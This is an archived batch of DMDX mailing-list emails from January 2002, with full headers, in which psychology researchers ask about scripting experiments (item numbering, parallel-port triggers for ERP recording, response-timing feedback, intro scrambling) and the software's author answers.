DMDX-owner@psy1.psych.arizona.edu Mon Jan 28 10:58:59 2002 Received: from sunb.ocs.mq.edu.au (sunb.ocs.mq.edu.au [137.111.1.11]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA21195 for ; Mon, 28 Jan 2002 10:57:30 -0700 Received: from arturo.ling.mq.edu.au (arturo.ling.mq.edu.au [137.111.158.49]) by sunb.ocs.mq.edu.au (8.10.2/8.10.2) with ESMTP id g0SHvRx15329 for ; Tue, 29 Jan 2002 04:57:27 +1100 (EST) Received: from ARTURO/SpoolDir by arturo.ling.mq.edu.au (Mercury 1.47); 29 Jan 02 04:58:42 +1000 Received: from SpoolDir by ARTURO (Mercury 1.47); 29 Jan 02 04:58:26 +1000 To: DMDX@psy1.psych.arizona.edu From: Date: Tue, 29 Jan 2002 4:58:26 +1000 Subject: [DMDX] Display Problems Message-ID: <9BED5C0A2F@arturo.ling.mq.edu.au> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Linda Cupples is on leave until mid-July 2002. >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 28 11:28:34 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA21342 for ; Mon, 28 Jan 2002 11:27:03 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.036) id 3C5047E20005ED8C for DMDX@psy1.psych.arizona.edu; Mon, 28 Jan 2002 11:27:03 -0700 Message-Id: <5.1.0.14.2.20020128112334.00b32e60@psy1.psych.arizona.edu> Date: Mon, 28 Jan 2002 11:27:03 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Display Problems In-Reply-To: <3C5047E5000052FC@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:43 AM 1/28/2002 -0700, you wrote: > 0 ""Experiment Ready"" ; > 0 ""Scan 1""%900/; You're missing item numbers, odd that the syntax checker didn't freak out. You need a 0 at the start of this line: > ""Now FOCUS on the Target"" %179/; > 0x313 ""ƒ"" %1797/!c; And this one: > "" Now Follow the Target ""%179/; > 0x313 ""ƒ""/; And this one: > x315 ""ƒ""/; >I am sure the solution is quite easy, I just cannot seem to figure it out, >so any help would be greatly appreciated. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The world isn't worse. It's just that the news coverage is so much better. >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 28 14:38:30 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA21885 for ; Mon, 28 Jan 2002 14:36:57 -0700 From: lindseyl@email.arizona.edu Received: from [63.38.137.205] by deimos.email.Arizona.EDU with HTTP; Mon, 28 Jan 2002 14:36:57 -0700 Date: Mon, 28 Jan 2002 14:36:57 -0700 Message-ID: <3C5047E500005E6D@deimos.email.Arizona.EDU> In-Reply-To: <5.1.0.14.2.20020128112334.00b32e60@psy1.psych.arizona.edu> Subject: [DMDX] RE: Re: Display Problems To: DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Thanks for all you responses. When a 0 is added in front of the line, as an item number, the text will not display unless the spacebar is pressed. Any suggestions? Thanks again, Lindsey >-- Original Message -- >Date: Mon, 28 Jan 2002 11:27:03 -0700 >To: DMDX@psy1.psych.arizona.edu >From: ""Jonathan C. Forster"" >Subject: [DMDX] Re: Display Problems >Reply-To: DMDX@psy1.psych.arizona.edu > > >At 10:43 AM 1/28/2002 -0700, you wrote: > >> 0 ""Experiment Ready"" ; >> 0 ""Scan 1""%900/; > > You're missing item numbers, odd that the syntax checker didn't freak > >out. You need a 0 at the start of this line: > >> ""Now FOCUS on the Target"" %179/; >> 0x313 ""?"" %1797/!c; > > And this one: > >> "" Now Follow the Target ""%179/; >> 0x313 ""?""/; > > And this one: > >> x315 ""?""/; >>I am sure the solution is quite easy, I just cannot seem to figure it out, >>so any help would be greatly appreciated. > > /""\\ >-jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The world isn't worse. It's just that the news coverage is so >much better. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== __________________________________________________ Lindsey Littrell Research Technician Departments of Psychiatry & Neurology University of Arizona >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 28 17:30:43 2002 Received: from mailhub1.une.edu.au (postfix@mailhub1.une.edu.au [129.180.1.202]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA22393 for ; Mon, 28 Jan 2002 17:29:12 -0700 Received: from pobox.une.edu.au (metz.une.edu.au [129.180.3.3]) by mailhub1.une.edu.au (Postfix) with ESMTP id 2C1A9370D for ; Tue, 29 Jan 2002 11:29:11 +1100 (EST) Received: from psych195.metz.une.edu.au (psych195.une.edu.au [129.180.81.195]) by pobox.une.edu.au (Postfix) with ESMTP id A7C112259 for ; Tue, 29 Jan 2002 11:29:10 +1100 (EST) Message-Id: <5.1.0.14.0.20020129112346.009fbec0@metz.une.edu.au> Date: Tue, 29 Jan 2002 11:29:11 +1100 To: DMDX@psy1.psych.arizona.edu From: Keith Majoos Subject: [DMDX] Doing and odd-ball test and recording ERPs In-Reply-To: <200201290013.RAA22379@psy1.psych.arizona.edu> References: <5.1.0.14.0.20020129111121.009ecae0@metz.une.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Greetings. I'm a PhD student at the University of New England and I wish to use DMDX to play some wav files while recording ERPs (write to pins of the parallel port). I'd really appreciate it if someone could send me a script that I can modify to my requirements. The base requirements are: Begin process Sound A.WAV (say 10 times) write to external device (SET pin 1, say) Sound B.WAV write to external device (RESET pin 1, say) wait for 1000ms End process Your assistance is much appreciated. regards, Keith J. Majoos School of Psychology, UNE Armidale, NSW, Australia PS. I've used DMDX in the past for a mask priming experiment and is familiar with the structure, I'm just a bit unclear when it comes to writing to PIO. >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 28 18:02:02 2002 Received: from mask.uits.indiana.edu (mask.uits.indiana.edu [129.79.6.184]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA22552 for ; Mon, 28 Jan 2002 18:00:22 -0700 Received: from indiana.edu (dial-123-54.dial.indiana.edu [156.56.123.54]) by mask.uits.indiana.edu (8.10.1/8.10.1/IUPO) with ESMTP id g0T0tqc10504 for ; Mon, 28 Jan 2002 19:55:53 -0500 (EST) Message-ID: <3C55F380.1A501EB7@indiana.edu> Date: Mon, 28 Jan 2002 19:57:36 -0500 From: Mario Fific MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Doing and odd-ball test and recording ERPs References: <5.1.0.14.0.20020129111121.009ecae0@metz.une.edu.au> <5.1.0.14.0.20020129112346.009fbec0@metz.une.edu.au> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Ivane Seko, Ajde oce li ti fajlovi ili ne!!! Ovde kod nas je vreme fajn, prilicno toplo, upravo slusamo Gabau! i nije tako lose. Mario >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 29 08:58:15 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA24316 for ; Tue, 29 Jan 2002 08:57:59 -0700 Received: from XPTERNARY.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (6.0.036) id 3C4CBD0A000DD281 for DMDX@psy1.psych.arizona.edu; Tue, 29 Jan 2002 08:57:59 -0700 Message-Id: <5.1.0.14.2.20020129085726.00b4f198@psy1.psych.arizona.edu> Date: Tue, 29 Jan 2002 08:57:58 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] RE: Re: Display Problems In-Reply-To: <3C5047E500005E6D@deimos.email.Arizona.EDU> References: <5.1.0.14.2.20020128112334.00b32e60@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:36 PM 1/28/2002 -0700, you wrote: >Hi >Thanks for all you responses. When a 0 is added in front of the line, as >an item number, the text will not display unless the spacebar is pressed. >Any suggestions? Use the keyword. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trifles make perfection and perfection is no trifle. - Michelangelo >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 29 09:19:19 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA24431 for ; Tue, 29 Jan 2002 09:19:13 -0700 Received: from XPTERNARY.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (6.0.036) id 3C4CBD0A000DDF78 for DMDX@psy1.psych.arizona.edu; Tue, 29 Jan 2002 09:19:13 -0700 Message-Id: <5.1.0.14.2.20020129090111.00b4f198@psy1.psych.arizona.edu> Date: Tue, 29 Jan 2002 09:19:12 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Doing and odd-ball test and recording ERPs In-Reply-To: <5.1.0.14.0.20020129112346.009fbec0@metz.une.edu.au> References: <200201290013.RAA22379@psy1.psych.arizona.edu> <5.1.0.14.0.20020129111121.009ecae0@metz.une.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:29 AM 1/29/2002 +1100, you wrote: >Greetings. > >I'm a PhD student at the University of New England and I wish to use DMDX >to play some wav files while recording ERPs (write to pins of the parallel >port). I'd really appreciate it if someone could send me a script that I >can modify to my requirements. You can't, DMDX doesn't support writing to the parallel port, you will have to buy an interface card. If you have an ISA slot free you'll want one of these: http://www.measurementcomputing.com/cbicatalog/cbiproduct.asp?dept%5Fid=120&pf%5Fid=221&mscssid=K6EK7DLKGMBE9LH52ABPUEF2M9XR8RJ7 If not and you only have PCI slots then one of these: http://www.measurementcomputing.com/cbicatalog/cbiproduct.asp?dept%5Fid=142&pf%5Fid=821&mscssid=1N6BEKBEDDS68KR7DRTC0XTPAE6P5UE1 >The base requirements are: >Begin process > Sound A.WAV (say 10 times) > write to external device (SET pin 1, say) > Sound B.WAV > write to external device (RESET pin 1, say) > wait for 1000ms >End process > >Your assistance is much appreciated. >regards, >Keith J. Majoos >School of Psychology, UNE >Armidale, NSW, Australia > >PS. I've used DMDX in the past for a mask priming experiment and is >familiar with the structure, I'm just a bit unclear when it comes to >writing to PIO. You'll want to read the TimeDX docs on the PIO and set the base address of the card. You'll want to use in the parameter line of your item files and <0 N> to write word N to the card. If you want the I/O lines to automatically reset then use . All of those keywords are explained in the help file. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trifles make perfection and perfection is no trifle. - Michelangelo >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 29 22:13:47 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id WAA26379 for ; Tue, 29 Jan 2002 22:13:04 -0700 Received: from marcsmatlab ([137.154.107.107]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id g0U5D1Q28863; Wed, 30 Jan 2002 16:13:02 +1100 (EST) Message-ID: <002f01c1a94d$0d66c760$6b6b9a89@uws.edu.au> From: ""Helen Tam"" To: Cc: ""Caroline Jones"" Subject: [DMDX] Feedback for too-early-response Date: Wed, 30 Jan 2002 16:14:53 +1100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_002C_01C1A9A9.40696260"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_002C_01C1A9A9.40696260 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Dear all, We've a question again that we hope you can help us with. In a new = experiment, we're planning to present a sentence to the subject where = the task is to detect a particular phoneme in the sentence. For example, = the subject might be asked to press yes as soon as the phoneme ""s"" is = detected in the auditorily-presented sentence ""the cat sat on a mat"". = The tricky bit is that we want to give the subject feedback if they're = responding too early. So, if they respond ""yes"" before ""sat"", or if they = respond ""no"" at any point during the sentence, we would like to give = them the feedback ""you're responding too early"", and then the next item = will be presented. And if they respond yes after ""sat"", the feedback = would be ""correct"" and they'll move on to the next item.=20 We want to record the reaction time as well. We'd prefer not to chop a = sentence up into separate words (and therefore separate wav files) = because sometimes the critical phoneme is in the middle of a word. Our = idea is that we'd need to use some sort of timer on DMDX, and that the = feedback will be different depending on when the response is given = during the sentence. But we're not sure how this could be done on DMDX, = please help.=20 Specifically, does anyone know whether you can specify when clockon = starts in ticks or milliseconds? Helen & Caroline Research Assistants MARCS, UWS Sydney ------=_NextPart_000_002C_01C1A9A9.40696260 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Dear all,   We've a question again that we hope you = can help us=20 with. In a new experiment, we're planning to present a sentence to the = subject=20 where the task is to detect a particular phoneme in the sentence. For = example,=20 the subject might be asked to press yes as soon as the phoneme ""s"" is = detected=20 in the auditorily-presented sentence ""the cat sat on a mat"". The tricky = bit is=20 that we want to give the subject feedback if they're responding too = early. So,=20 if they respond ""yes"" before ""sat"", or if they respond ""no"" at any point = during=20 the sentence, we would like to give them the feedback ""you're responding = too=20 early"", and then the next item will be presented. And if they respond = yes after=20 ""sat"", the feedback would be ""correct"" and they'll move on to the next = item.=20 We want to record the reaction time as = well. We'd=20 prefer not to chop a sentence up into separate words (and therefore = separate wav=20 files) because sometimes the critical phoneme is in the middle of a = word. Our=20 idea is that we'd need to use some sort of timer on DMDX, and that the = feedback=20 will be different depending on when the response is given during the = sentence.=20 But we're not sure how this could be done on DMDX, please help. =   Specifically, does anyone know whether = you can=20 specify when clockon starts in ticks or milliseconds?   Helen & Caroline Research Assistants MARCS, UWS Sydney ------=_NextPart_000_002C_01C1A9A9.40696260-- >From DMDX-owner@psy1.psych.arizona.edu Wed Jan 30 09:17:05 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA27662 for ; Wed, 30 Jan 2002 09:16:49 -0700 Received: from XPTERNARY.u.arizona.edu (150.135.175.30) by deimos.email.Arizona.EDU (6.0.036) id 3C5047E2000A499F for DMDX@psy1.psych.arizona.edu; Wed, 30 Jan 2002 09:16:49 -0700 Message-Id: <5.1.0.14.2.20020130090953.00b45b90@psy1.psych.arizona.edu> Date: Wed, 30 Jan 2002 09:16:47 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Feedback for too-early-response In-Reply-To: <002f01c1a94d$0d66c760$6b6b9a89@uws.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:14 PM 1/30/2002 +1100, you wrote: >Dear all, > >We've a question again that we hope you can help us with. In a new >experiment, we're planning to present a sentence to the subject where the >task is to detect a particular phoneme in the sentence. For example, the >subject might be asked to press yes as soon as the phoneme ""s"" is detected >in the auditorily-presented sentence ""the cat sat on a mat"". The tricky >bit is that we want to give the subject feedback if they're responding too >early. So, if they respond ""yes"" before ""sat"", or if they respond ""no"" at >any point during the sentence, we would like to give them the feedback >""you're responding too early"", and then the next item will be presented. >And if they respond yes after ""sat"", the feedback would be ""correct"" and >they'll move on to the next item. >We want to record the reaction time as well. We'd prefer not to chop a >sentence up into separate words (and therefore separate wav files) because >sometimes the critical phoneme is in the middle of a word. Our idea is >that we'd need to use some sort of timer on DMDX, and that the feedback >will be different depending on when the response is given during the >sentence. But we're not sure how this could be done on DMDX, please help. > >Specifically, does anyone know whether you can specify when clockon starts >in ticks or milliseconds? No, you'll just have to start the clock early and then subtract that from the RT for analysis. You'll want to turn normal feedback off with use counters and a custom feedback routine called every item as per the example in the help. You'll want to load a counter with the raw RT and then compare and branch on that counter with the time that the clock was turned on early, less than it and they're early, more and they're correct. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trifles make perfection and perfection is no trifle. - Michelangelo >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 31 10:51:15 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA30628 for ; Thu, 31 Jan 2002 10:50:42 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id g0VHoep19589 for ; Thu, 31 Jan 2002 18:50:40 +0100 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] overriding Revert Output? Date: Thu, 31 Jan 2002 18:48:47 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Question: The (or ) keyword only functions in the parameter line at the beginning of the DMDX item file. If is set up like this: Is there any way to overide and write outputs to the PIO port with other durations? I don't suppose that and (output hex word) are independent of one another so that one could do something like this: <1> / / ; <2> / ; Thank you Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 (office) Tlf. +46 (031) 34 21 283 (laboratory) Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 31 10:57:27 2002 Received: from sunb.ocs.mq.edu.au (sunb.ocs.mq.edu.au [137.111.1.11]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA30666 for ; Thu, 31 Jan 2002 10:57:19 -0700 Received: from arturo.ling.mq.edu.au (arturo.ling.mq.edu.au [137.111.158.49]) by sunb.ocs.mq.edu.au (8.10.2/8.10.2) with ESMTP id g0VHvGD22551 for ; Fri, 1 Feb 2002 04:57:17 +1100 (EST) Received: from ARTURO/SpoolDir by arturo.ling.mq.edu.au (Mercury 1.47); 1 Feb 02 04:58:12 +1000 Received: from SpoolDir by ARTURO (Mercury 1.47); 1 Feb 02 04:57:53 +1000 To: DMDX@psy1.psych.arizona.edu From: Date: Fri, 1 Feb 2002 4:57:53 +1000 Subject: [DMDX] overriding Revert Output? Message-ID: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Linda Cupples is on leave until mid-July 2002. >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 31 11:12:04 2002 Received: from bureau6.utcc.utoronto.ca (bureau6.utcc.utoronto.ca [128.100.132.16]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA30794 for ; Thu, 31 Jan 2002 11:11:55 -0700 Received: from pc15.ling.utoronto.ca ([128.100.214.15] EHLO [128.100.214.15] ident: IDENT-NOT-QUERIED [port 49178]) by bureau6.utcc.utoronto.ca with ESMTP id <239282-24136>; Thu, 31 Jan 2002 13:11:42 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: <5.1.0.14.2.20020125113059.00b32e90@psy1.psych.arizona.edu> References: <5.1.0.14.2.20020123120309.00b32f10@psy1.psych.arizona.edu> <5.1.0.14.2.20020122085542.00b4d9a8@psy1.psych.arizona.edu> <5.1.0.14.2.20020123120309.00b32f10@psy1.psych.arizona.edu> <5.1.0.14.2.20020125113059.00b32e90@psy1.psych.arizona.edu> Date: Thu, 31 Jan 2002 13:13:05 -0400 To: DMDX@psy1.psych.arizona.edu From: Tyler Subject: [DMDX] Re: Why doesn't our intro work? Content-Type: multipart/alternative; boundary=""============_-1199625308==_ma============"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --============_-1199625308==_ma============ Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Inserting the scrambling parameter and removing the ""$""s, the program works, but the first line of the intro appears at the end of the program, and nothing more than the first line appears. The error message is the same message we get when the only change is the insertion of a scrambling parameter: unknown keyword The person who wrote the intro (which worked) told us the ""$"" are to ensure the intro appears at the beginning, and the parameters instruct dmdx where to post the sentences. Below is the newly written code: , $ 0 ""These are the instructions."", ""You will be presented with a series of items"", ""made up of 1-2 sentences. Each item is followed"", ""by a verification sentence, which is underlined."", ""Read at your own pace and press the SPACE bar when"", ""you have read and understande each item sentene. When you"", ""get to the verification sentence, use the Right Shift"", ""and Left Shift Keys to indicate whether the verification"", ""sentence is true or false, based on the preceeding context."", ""Press the Right Shift key if the sentence is true and"", ""press the Left Shift key if the sentence is false."", ""PRESS THE SPACE BAR TO CONTINUE.""; 0 ""Be as quick and as accurate as you can when"", ""responding to a verification sentence, but do not rush."", ""After you have responded, you may also be"", ""required to answer a yes-no question, which"", "" is in CAPITAL letters. Use the Right Shift key to"", ""answer Yes, and the Left Shift key to answer No."", ""Press the Space Bar to continue to the next item."", ""You wil get 8 practice sentences following thes instructions."", ""PRESS THE SPACE BAR TO CONTINUE.""; $ +1 c * "" ""; +1 c *""One day at the mall""; +1 c *""Michael was stopped by Hannah""; +1 c *""while""; +1 "" "" / c *""leaving the store.""; +1 *""Michael was leaving the store.""; +1 c* ""Next""; >At 12:08 PM 1/25/2002 -0400, you wrote: >>Hello, >> >>This past summer, a person in the lab ran a dmdx program, and our >>current program is very similar. So similar, we copied her intro. >>However, we are continously told by DMDX that the intro is faulty, >>and its become so bad, that when we load up the file, we >>instantously receive a ""this program has performed an illegal >>operation"" message. I have spoken to the person who ran the dmdx >>program in the summer, and she says she doesn't know why its not >>working for us; it did work for her. I have copied the intro plus >>an item file into this e-mail. If anyone has any idea why it isn't >>working, it would be greatly appreciated. Thank-you, >>Tyler >> >> >""+Right Shift""> >> >>$ > > For a start you've got a $ in there and no scrambling. While I >wouldn't expect this to crash DMDX I'd certainly expect a syntax >error. Take all the $ out or put an S parameter back in and see >what happens. > > /""\\ >-jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The world isn't worse. It's just that the news coverage is so >much better. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== -- Lab-Coordinator of the Psycholinguistics Lab Undergraduate student-rep, University of Toronto, for the CPA Communications co-ordinator for the PSA at UofT --============_-1199625308==_ma============ Content-Type: text/html; charset=""us-ascii"" [DMDX] Re: Why doesn't our intro work? Inserting the scrambling parameter and removing the ""$""s, the program works, but  the first line of the intro appears at the end of the program, and nothing more than the first line appears. The error message is the same message we get when the only change is the insertion of a scrambling parameter: unknown keyword The person who wrote the intro (which worked) told us the ""$"" are to ensure the intro appears at the beginning, and the parameters instruct dmdx where to post the sentences. Below is the newly written code:   , $ 0 ""These are the instructions."", ""You will be presented with a series of items"", ""made up of 1-2 sentences.  Each item is followed"", ""by a verification sentence, which is underlined."", ""Read at your own pace and press the SPACE bar when"", ""you have read and understande each item sentene.  When you"", ""get to the verification sentence, use the Right Shift"", ""and Left Shift Keys to indicate whether the verification"", ""sentence is true or false, based on the preceeding context."", ""Press the Right Shift key if the sentence is true and"", ""press the Left Shift key if the sentence is false."", ""PRESS THE SPACE BAR TO CONTINUE.""; 0 ""Be as quick and as accurate as you can when"", ""responding to a verification sentence, but do not rush."", ""After you have responded, you may also be"", ""required to answer a yes-no question, which"", "" is in CAPITAL letters.  Use the Right Shift key to"", ""answer Yes, and the Left Shift key to answer No."", ""Press the Space Bar to continue to the next item."", ""You wil get 8 practice sentences following thes instructions."", ""PRESS THE SPACE BAR TO CONTINUE.""; $ +1 c * "" ""; +1 c *""One day at the mall""; +1 c *""Michael was stopped by Hannah""; +1 c *""while""; +1 "" "" / c *""leaving the store.""; +1 *""Michael was leaving the store.""; +1 c* ""Next""; At 12:08 PM 1/25/2002 -0400, you wrote: Hello, This past summer, a person in the lab ran a dmdx program, and our current program is very similar. So similar, we copied her intro. However, we are continously told by DMDX that the intro is faulty, and its become so bad, that when we load up the file, we instantously receive a ""this program has performed an illegal operation"" message. I have spoken to the person who ran the dmdx program in the summer, and she says she doesn't know why its not working for us; it did work for her. I have copied the intro plus an item file into this e-mail. If anyone has any idea why it isn't working, it would be greatly appreciated. Thank-you, Tyler     $   For a start you've got a $ in there and no scrambling.  While I wouldn't expect this to crash DMDX I'd certainly expect a syntax error.  Take all the $ out or put an S parameter back in and see what happens.                                                /""\\ -jonathan (j.c.f.)                             \\ /                                                 X     ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL  / \\   The world isn't worse.  It's just that the news coverage is so much better. ====================================================================   Send mail to DMDX-request@psy1.psych.arizona.edu with the word  'unsubscribe' by itself with no quotes in the body of the email  to be removed from the list.  The list archive is available here:          http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== -- Lab-Coordinator of the Psycholinguistics Lab Undergraduate student-rep, University of Toronto, for the CPA Communications co-ordinator for the PSA at UofT --============_-1199625308==_ma============-- >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 31 12:35:22 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA30995 for ; Thu, 31 Jan 2002 12:35:06 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.036) id 3C4CBD0A0012EAD7 for DMDX@psy1.psych.arizona.edu; Thu, 31 Jan 2002 12:35:06 -0700 Message-Id: <5.1.0.14.2.20020131123404.00b33408@psy1.psych.arizona.edu> Date: Thu, 31 Jan 2002 12:35:06 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Analyze 1.08 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list There's a new version of Analyze in DMDXUTILS.ZIP that has slightly different wording in two of it's messages that were confusing some people. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The world isn't worse. It's just that the news coverage is so much better. >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 31 12:37:34 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA31011 for ; Thu, 31 Jan 2002 12:37:29 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.036) id 3C4CBD0A0012EBE4 for DMDX@psy1.psych.arizona.edu; Thu, 31 Jan 2002 12:37:28 -0700 Message-Id: <5.1.0.14.2.20020131123540.00b3de10@psy1.psych.arizona.edu> Date: Thu, 31 Jan 2002 12:37:28 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: overriding Revert Output? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:48 PM 1/31/2002 +0100, you wrote: >Question: The (or ) keyword only functions in the >parameter line at the beginning of the DMDX item file. > >If is set up like this: > > output> > >Is there any way to overide and write outputs to the PIO port with >other durations? No. >I don't suppose that and (output hex word) are independent of one >another >so that one could do something like this: No. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The world isn't worse. It's just that the news coverage is so much better. >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 31 12:38:42 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA31022 for ; Thu, 31 Jan 2002 12:38:36 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by 